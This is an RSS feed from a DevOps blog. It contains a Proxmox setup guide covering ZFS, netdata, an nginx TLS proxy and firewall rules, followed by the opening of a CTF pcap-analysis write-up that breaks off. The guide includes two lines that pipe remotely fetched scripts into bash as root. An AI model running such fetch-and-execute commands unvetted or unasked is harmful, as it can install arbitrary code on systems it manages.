<?xml version="1.0" encoding="UTF-8"?>
<rss  xmlns:atom="http://www.w3.org/2005/Atom" 
      xmlns:media="http://search.yahoo.com/mrss/" 
      xmlns:content="http://purl.org/rss/1.0/modules/content/" 
      xmlns:dc="http://purl.org/dc/elements/1.1/" 
      version="2.0">
<channel>
<title>olback.dev</title>
<link>https://olback.dev/</link>
<atom:link href="https://olback.dev/index.xml" rel="self" type="application/rss+xml"/>
<description>A random assortment of DevOps and Software Engineering thoughts.</description>
<generator>quarto-1.6.42</generator>
<lastBuildDate>Sat, 28 Dec 2024 00:00:00 GMT</lastBuildDate>
<item>
  <title>Proxmox Setup with Netdata, ZFS and TLS</title>
  <dc:creator>Edwin Svensson</dc:creator>
  <link>https://olback.dev/posts/2024-12-28-proxmox-setup/</link>
  <description><![CDATA[ 





<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>This guide will help you set up a Proxmox server with ZFS storage, netdata monitoring, and an nginx reverse proxy with TLS for the web interface and netdata.</p>
</section>
<section id="install-proxmox" class="level2">
<h2 class="anchored" data-anchor-id="install-proxmox">Install Proxmox</h2>
<p>https://www.proxmox.com/en/</p>
<p>During the installation, choose the following options:</p>
<ul>
<li>Filesystem: xfs</li>
</ul>
</section>
<section id="run-post-install-script" class="level2">
<h2 class="anchored" data-anchor-id="run-post-install-script">Run post-install script</h2>
<p>This script provides options for managing Proxmox VE repositories, including disabling the Enterprise Repo, adding or correcting PVE sources, enabling the No-Subscription Repo, adding the test Repo, disabling the subscription nag, updating Proxmox VE, and rebooting the system.</p>
<p>This script is provided by the community-scripts project: https://community-scripts.github.io/ProxmoxVE/scripts?id=post-pve-install</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">bash</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">wget</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-qLO</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span> https://github.com/community-scripts/ProxmoxVE/raw/main/misc/post-pve-install.sh<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span></code></pre></div>
</section>
<section id="install-netdata" class="level2">
<h2 class="anchored" data-anchor-id="install-netdata">Install netdata</h2>
<p>Netdata is an open-source monitoring tool that provides real-time performance metrics for systems, applications, and infrastructure. It offers a highly interactive web interface to visualize and analyze metrics such as CPU, memory, disk, network, and application performance.</p>
<p>Installation script is provided by the community-scripts project: https://community-scripts.github.io/ProxmoxVE/scripts?id=netdata</p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb2-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">bash</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-c</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">wget</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-qLO</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span> https://github.com/community-scripts/ProxmoxVE/raw/main/misc/netdata.sh<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span></span></code></pre></div>
</section>
<section id="create-tls-certificates" class="level2">
<h2 class="anchored" data-anchor-id="create-tls-certificates">Create TLS certificates</h2>
<p>I’m using Cloudflare as my DNS provider, so I will use the ‘Cloudflare Managed DNS’ as the DNS API. You should pick whichever DNS API you are using.</p>
<ul>
<li>Create a new ACME DNS Plugin: Go to Datacenter -&gt; ACME -&gt; Challange Plugins -&gt; Add
<ul>
<li>Plugin ID: cloudflare</li>
<li>Validation Delay: 30 (default)</li>
<li>DNS API: Cloudflare Managed DNS</li>
<li>CF_Account_ID: &lt;your Cloudflare account ID&gt;</li>
<li>CF_Token: &lt;your Cloudflare API token&gt;</li>
</ul></li>
<li>Create a new ACME account: Go to Datacenter -&gt; ACME -&gt; Accounts -&gt; Add
<ul>
<li>Account Name: default</li>
<li>Email: &lt;your email&gt;</li>
<li>ACME Directory: Let’s Encrypt V2</li>
<li>Accept TOS: checked</li>
</ul></li>
<li>Add domain name to host Go to YOURNODE -&gt; System -&gt; Certificates -&gt; ACME -&gt; Add
<ul>
<li>Challange Type: DNS</li>
<li>Plugin: cloudflare (the plugin you created earlier)</li>
<li>Domain: YOUR.FQDN.HOSTNAME.HERE</li>
</ul></li>
<li>Select ACME account Go to YOURNODE -&gt; System -&gt; Certificates -&gt; ACME Select the account you created earlier. (next to the ‘Order Certificates Now’ button)</li>
<li>Request certificate Go to YOURNODE -&gt; System -&gt; Certificates -&gt; ACME Click ‘Order Certificates Now’.</li>
</ul>
<p>You should now have a valid TLS certificate for YOUR.FQDN.HOSTNAME.HERE.</p>
</section>
<section id="install-neovim" class="level2">
<h2 class="anchored" data-anchor-id="install-neovim">Install neovim</h2>
<p>Neovim is my preferred text editor, but you can use any text editor you like.</p>
<div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb3-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> install neovim</span>
<span id="cb3-2"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">export</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">EDITOR</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">which</span> nvim<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">)</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Set neovim as the default editor for the current session</span></span></code></pre></div>
</section>
<section id="install-and-configure-nginx" class="level2">
<h2 class="anchored" data-anchor-id="install-and-configure-nginx">Install and configure nginx</h2>
<p>Install nginx. This is the web server that will act as a reverse proxy for the Proxmox web interface and netdata.</p>
<div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb4-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> install nginx</span></code></pre></div>
<p>Edit the nginx systemd service and add the lines below. This will make sure that nginx starts after the Proxmox cluster service, which provides the TLS certificates for the Proxmox web interface.</p>
<div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb5-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">systemctl</span> edit nginx.service</span></code></pre></div>
<div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode conf code-with-copy"><code class="sourceCode toml"><span id="cb6-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">[Unit]</span></span>
<span id="cb6-2"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Requires</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">pve-cluster.service</span></span>
<span id="cb6-3"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">After</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">pve-cluster.service</span></span></code></pre></div>
<p>Disable the default nginx configuration. This is the default configuration that listens on port 80 and 443, which we don’t want to use.</p>
<div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb7-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rm</span> /etc/nginx/sites-enabled/default</span></code></pre></div>
<p>Edit the new configuration, see config below.</p>
<div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb8-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">nvim</span> /etc/nginx/sites-available/proxmox</span></code></pre></div>
<p>nginx config:</p>
<div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode txt code-with-copy"><code class="sourceCode default"><span id="cb9-1">upstream proxmox {</span>
<span id="cb9-2">    server 127.0.0.1:8006;</span>
<span id="cb9-3">}</span>
<span id="cb9-4"></span>
<span id="cb9-5">upstream netdata {</span>
<span id="cb9-6">    server 127.0.0.1:19999;</span>
<span id="cb9-7">    keepalive 1024;</span>
<span id="cb9-8">}</span>
<span id="cb9-9"></span>
<span id="cb9-10">server {</span>
<span id="cb9-11">    listen 443 ssl;</span>
<span id="cb9-12">    listen [::]:443 ssl;</span>
<span id="cb9-13"></span>
<span id="cb9-14">    server_name YOUR.FQDN.HOSTNAME.HERE;</span>
<span id="cb9-15"></span>
<span id="cb9-16">    ssl_certificate /etc/pve/local/pveproxy-ssl.pem;</span>
<span id="cb9-17">    ssl_certificate_key /etc/pve/local/pveproxy-ssl.key;</span>
<span id="cb9-18"></span>
<span id="cb9-19">    proxy_redirect off;</span>
<span id="cb9-20"></span>
<span id="cb9-21">    location = /netdata {</span>
<span id="cb9-22">        return 301 /netdata/;</span>
<span id="cb9-23">    }</span>
<span id="cb9-24"></span>
<span id="cb9-25">    location ~ /netdata/(?&lt;ndpath&gt;.*) {</span>
<span id="cb9-26">        proxy_set_header Host $host;</span>
<span id="cb9-27">        proxy_set_header X-Forwarded-Host $host;</span>
<span id="cb9-28">        proxy_set_header X-Forwarded-Server $host;</span>
<span id="cb9-29">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span>
<span id="cb9-30">        proxy_http_version 1.1;</span>
<span id="cb9-31">        proxy_pass_request_headers on;</span>
<span id="cb9-32">        proxy_set_header Connection "keep-alive";</span>
<span id="cb9-33">        proxy_store off;</span>
<span id="cb9-34">        proxy_pass http://netdata/$ndpath$is_args$args;</span>
<span id="cb9-35"></span>
<span id="cb9-36">        gzip on;</span>
<span id="cb9-37">        gzip_proxied any;</span>
<span id="cb9-38">        gzip_types *;</span>
<span id="cb9-39">    }</span>
<span id="cb9-40"></span>
<span id="cb9-41">    location / {</span>
<span id="cb9-42">        proxy_http_version 1.1;</span>
<span id="cb9-43">        proxy_set_header Upgrade $http_upgrade;</span>
<span id="cb9-44">        proxy_set_header Connection "upgrade";</span>
<span id="cb9-45">        proxy_pass https://proxmox;</span>
<span id="cb9-46">        proxy_buffering off;</span>
<span id="cb9-47">        client_max_body_size 0;</span>
<span id="cb9-48">        proxy_connect_timeout  3600s;</span>
<span id="cb9-49">        proxy_read_timeout  3600s;</span>
<span id="cb9-50">        proxy_send_timeout  3600s;</span>
<span id="cb9-51">        send_timeout  3600s;</span>
<span id="cb9-52">    }</span>
<span id="cb9-53">}</span></code></pre></div>
<p>Enable the new nginx site configuration.</p>
<div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb10-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ln</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-s</span> /etc/nginx/sites-available/proxmox /etc/nginx/sites-enabled/proxmox</span></code></pre></div>
<p>Check the nginx configuration for errors.</p>
<div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb11-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">nginx</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-t</span></span></code></pre></div>
<p>If the configuration is correct, restart the nginx service.</p>
<div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb12-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">systemctl</span> restart nginx</span></code></pre></div>
</section>
<section id="expand-the-root-partition" class="level2">
<h2 class="anchored" data-anchor-id="expand-the-root-partition">Expand the root partition</h2>
<p>Remove proxmox data lvm-thin pool. We will create a new ZFS pool for storage.</p>
<div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb13-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lvremove</span> /dev/pve/data</span></code></pre></div>
<p>Extend the lvm partition to use the free space that was previously used by the data pool.</p>
<div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb14-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">lvextend</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-l</span> +100%FREE /dev/pve/root</span></code></pre></div>
<p>Grow the filesystem to use the new space.</p>
<div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb15-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">xfs_growfs</span> /dev/pve/root</span></code></pre></div>
</section>
<section id="configure-zfs-arc" class="level2">
<h2 class="anchored" data-anchor-id="configure-zfs-arc">Configure ZFS ARC</h2>
<p>Configure the minimum and maximum amount of ARC ZFS should use. The general rule of thumb is to allow 2GiB + 1GiB/TiB of storage.<br>
So for a scenario where we have 8TiB of usable storage, we should have at least 10GiB of ARC configured. If you have spare RAM, you can increase this value to allow more data to be cached in RAM.</p>
<p>Default values for ZFS ARC:</p>
<div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode txt code-with-copy"><code class="sourceCode default"><span id="cb16-1">zfs_arc_min: TOTAL_SYSYEM_RAM / 32</span>
<span id="cb16-2">zfs_arc_max: TOTAL_SYSYEM_RAM / 2</span></code></pre></div>
<p>The following sets the minimum ARC size to 10GiB - 1B and max to 10GiB. This ensures that ZFS will always use 10GiB of ARC.<br>
We subtract one byte from the min-value because zfs_arc_min needs to be lower than zfs_arc_max.</p>
<div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb17-1"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"options zfs zfs_arc_min=$[10 * 1024*1024*1024 - 1]"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/modprobe.d/zfs.conf</span>
<span id="cb17-2"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"options zfs zfs_arc_max=$[10 * 1024*1024*1024]"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/modprobe.d/zfs.conf</span></code></pre></div>
<p>This example sets the minimum amount of used ARC to 32GiB and the maximum to 64GiB.</p>
<div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb18-1"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"options zfs zfs_arc_min=$[32 * 1024*1024*1024]"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/modprobe.d/zfs.conf</span>
<span id="cb18-2"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"options zfs zfs_arc_max=$[64 * 1024*1024*1024]"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/modprobe.d/zfs.conf</span></code></pre></div>
<p>Update your initramfs:</p>
<div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb19-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">update-initramfs</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-u</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-k</span> all</span></code></pre></div>
</section>
<section id="create-a-new-zfs-pool-and-datasets" class="level2">
<h2 class="anchored" data-anchor-id="create-a-new-zfs-pool-and-datasets">Create a new ZFS pool and datasets</h2>
<p>Create a new ZFS pool. Replace the device names with the ones you have.</p>
<div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb20-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zpool</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> atime=off zfspool01 raidz /dev/sd<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">{b</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">d</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">e}</span> raidz /dev/sd<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">{f</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">g</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">i}</span></span>
<span id="cb20-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># or with compression disabled, this will also disable compression for child data sets unless you manually enable it when creating datasets</span></span>
<span id="cb20-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zpool</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> compression=off <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> atime=off zfspool01 raidz /dev/sd<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">{b</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">c</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">d</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">e}</span> raidz /dev/sd<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">{f</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">g</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">h</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">i}</span></span></code></pre></div>
<p>Create datasets for different types of data.</p>
<div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb21-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Backups (vzdump)</span></span>
<span id="cb21-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/vzdump zfspool01/vzdump</span>
<span id="cb21-3"></span>
<span id="cb21-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># ISO images (compression disabled as ISOs compress really poorly)</span></span>
<span id="cb21-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> compression=off <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/iso zfspool01/iso</span>
<span id="cb21-6"></span>
<span id="cb21-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Container templates (compression disabled as templates are already zstd compressed)</span></span>
<span id="cb21-8"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> compression=off <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/ctt zfspool01/ctt</span>
<span id="cb21-9"></span>
<span id="cb21-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># VMs and Containers if if you want file-based (qcow2) storage.</span></span>
<span id="cb21-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Depending on your CPU and RAM, you might want to disable compression here '-o compression=off'.</span></span>
<span id="cb21-12"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/ct zfspool01/ct <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Containers</span></span>
<span id="cb21-13"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/vm zfspool01/vm <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Virtual machines</span></span></code></pre></div>
<p>… or create a single dataset for all data</p>
<div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb22-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">zfs</span> create <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> mountpoint=/mnt/vzdata zfspool01/vzdata</span></code></pre></div>
</section>
<section id="create-storage-in-proxmox-ui" class="level2">
<h2 class="anchored" data-anchor-id="create-storage-in-proxmox-ui">Create storage in Proxmox UI</h2>
<p>Add each dataset as a storage in Proxmox UI. Go to Datacenter -&gt; Storage -&gt; Add -&gt; Directory.</p>
<p>The ID-field should be unique for each storage type but can be anything you like. You may want to use ‘Container Templates’ instead of ‘ctt’ for example.</p>
<p>For backups, use the following settings: - ID: vzdump - Directory: /mnt/vzdump - Content: <code>VZDump backup file</code></p>
<p>For ISO images, use the following settings: - ID: iso - Directory: /mnt/iso - Content: <code>ISO image</code></p>
<p>For container templates, use the following settings: - ID: ctt - Directory: /mnt/ctt - Content: <code>Container template</code></p>
<p>For containers, use the following settings: - ID: ct - Directory: /mnt/ct - Content: <code>Container</code></p>
<p>For virtual machines, use the following settings: - ID: vm - Directory: /mnt/vm - Content: <code>Disk image</code></p>
<p>… or</p>
<p>For the single dataset, use the following settings: - ID: vzdata - Directory: /mnt/vzdata - Content: <code>Disk image, ISO image, Container template, VZDump backup file, Container, Snippets, Import</code></p>
</section>
<section id="enable-proxmox-firewall" class="level2">
<h2 class="anchored" data-anchor-id="enable-proxmox-firewall">Enable Proxmox firewall</h2>
<ul>
<li>Go to YOURNODE -&gt; Firewall -&gt; Options -&gt; Firewall -&gt; Add
<ul>
<li>Add a rule for the web interface:
<ul>
<li>Direction: IN</li>
<li>Enable: checked</li>
<li>Action: ACCEPT</li>
<li>Macro: blank</li>
<li>Interface: blank or your network interface of choice</li>
<li>Protocol: TCP</li>
<li>Source: blank <em>or</em> allowed IP range</li>
<li>Source port: blank</li>
<li>Destination: &lt;your proxmox IP&gt;</li>
<li>Destination port: 443</li>
<li>Comment: nginx proxy for web interface and netdata (tcp/443)</li>
</ul></li>
<li>Add a rule to deny access to the Proxmox web interface directly:
<ul>
<li>Direction: IN</li>
<li>Enable: <strong>unchecked</strong> (enable after you have verified that the proxy works)</li>
<li>Action: REJECT</li>
<li>Macro: blank</li>
<li>Interface: blank</li>
<li>Protocol: TCP</li>
<li>Source: blank</li>
<li>Source port: blank</li>
<li>Destination: blank</li>
<li>Destination port: 8006</li>
<li>Comment: deny default proxmox interface</li>
</ul></li>
</ul></li>
<li>Go to YOURNODE -&gt; Firewall -&gt; Options -&gt; Firewall -&gt; Enable (checked)</li>
<li>Go to Datacenter -&gt; Firewall -&gt; Options -&gt; Firewall -&gt; Enable (checked)</li>
</ul>
</section>
<section id="and-were-done" class="level2">
<h2 class="anchored" data-anchor-id="and-were-done">And we’re done!</h2>
<p>You should now have access to the Proxmox web interface via https://YOUR.FQDN.HOSTNAME.HERE and netdata via https://YOUR.FQDN.HOSTNAME.HERE/netdata. (assuming you have a DNS record pointing to the IP of your Proxmox server)</p>
<p>When you have verified that the proxy works, you can enable the rule that denies access to the Proxmox web interface directly.</p>
</section>
<section id="references-resources" class="level2">
<h2 class="anchored" data-anchor-id="references-resources">References &amp; Resources</h2>
<ul>
<li><a href="https://www.redhat.com/en/blog/resize-lvm-simple">https://www.redhat.com/en/blog/resize-lvm-simple</a></li>
<li><a href="https://pve.proxmox.com/wiki/Web_Interface_Via_Nginx_Proxy">https://pve.proxmox.com/wiki/Web_Interface_Via_Nginx_Proxy</a></li>
<li><a href="https://forums.lawrencesystems.com/t/linux-benchmarking-with-fio/11122">https://forums.lawrencesystems.com/t/linux-benchmarking-with-fio/11122</a></li>
<li><a href="https://learn.netdata.cloud/docs/netdata-agent/configuration/securing-agents/running-the-agent-behind-a-reverse-proxy/nginx">https://learn.netdata.cloud/docs/netdata-agent/configuration/securing-agents/running-the-agent-behind-a-reverse-proxy/nginx</a></li>
<li><a href="https://openzfs.github.io/openzfs-docs/man/master/8/zpool-create.8.html">https://openzfs.github.io/openzfs-docs/man/master/8/zpool-create.8.html</a></li>
<li><a href="https://openzfs.github.io/openzfs-docs/man/master/8/zfs-create.8.html">https://openzfs.github.io/openzfs-docs/man/master/8/zfs-create.8.html</a></li>
<li><a href="https://pve.proxmox.com/wiki/Firewall">https://pve.proxmox.com/wiki/Firewall</a></li>
</ul>


</section>

 ]]></description>
  <category>proxmox</category>
  <category>homelab</category>
  <category>virtualization</category>
  <category>linux</category>
  <category>netdata</category>
  <guid>https://olback.dev/posts/2024-12-28-proxmox-setup/</guid>
  <pubDate>Sat, 28 Dec 2024 00:00:00 GMT</pubDate>
  <media:content url="https://olback.dev/posts/2024-12-28-proxmox-setup/proxmox-server-solutions-gmbh-logo-vector.png" medium="image" type="image/png" height="80" width="144"/>
</item>
<item>
  <title>Raring - Undutmaning 2024</title>
  <dc:creator>Edwin Svensson</dc:creator>
  <link>https://olback.dev/posts/2024-03-24-undutmaning-raring/</link>
  <description><![CDATA[ 





<section id="the-challenge" class="level1">
<h1>The challenge</h1>
<p>The challenge is called “Raring” and is part of the <a href="https://undutmaning.se/2024/">Undutmaning 2024</a> CTF, hosted by <a href="https://fra.se/">FRA</a>, <a href="https://www.forsvarsmakten.se/en/">Försvarsmakten</a> and <a href="https://www.sakerhetspolisen.se/">SÄPO</a>. Thanks to the organizers for a fun and challenging CTF!</p>
<p>The challange reads:</p>
<blockquote class="blockquote">
<p>An intercepted communication between King Harald and his courtesan Brunhild Beträglig seems to indicate that she is playing some kind of double game. Is it because she is trying to get into Harald’s system? Is she perhaps even a possible ally?<br>
Dig out everything you can from the intercepted communication!</p>
</blockquote>
<details>
<summary>
<small>Translated from swedish for this writeup.</small>
</summary>
<p>En uppsnappad kommunikation mellan Kung Harald och hans frilla Brunhild Bedräglig verkar peka på att hon spelar någon form av dubbelspel. Är det till och så att hon försöker ta sig in i Haralds system? Är hon kanske till och med en möjlig allierad?</p>
Gräv ut allt du kan ur den uppsnappade kommunkationen!
</details>
</section>
<section id="solving-the-challenge" class="level1">
<h1>Solving the challenge</h1>
<p>We only get a single file, <a href="raring.zip"><code>raring.zip</code></a> to start with. A zip-file encrypted with the password <code>infected</code>.</p>
<p>We unpack this zip-file with the following command:</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> unzip <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-P</span> infected raring.zip</span></code></pre></div>
<p>This gives us a <code>raring.pcap</code> file, which we open in Wireshark.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://olback.dev/posts/2024-03-24-undutmaning-raring/wireshark1.png" class="img-fluid figure-img"></p>
<figcaption>Wireshark</figcaption>
</figure>
</div>
<p>Scroll through the packets and look for anything interesting. We find a HTTP GET request to <code>/mail/inbound/D7A7F39A14ADB3589D191853DF307198/attachments/important.rar</code></p>
<p><code>important.rar</code> seems like a good candidate for further investigation. Select the HTTP response row and right-click the Data section, then select <code>Export Packet Bytes...</code> and save the file as <code>important.rar</code>.</p>
<p>Running the command <code>file important.rar</code> reveals that it is in fact not a RAR-archive, but a ZIP-archive.</p>
<pre><code>$ file important.rar
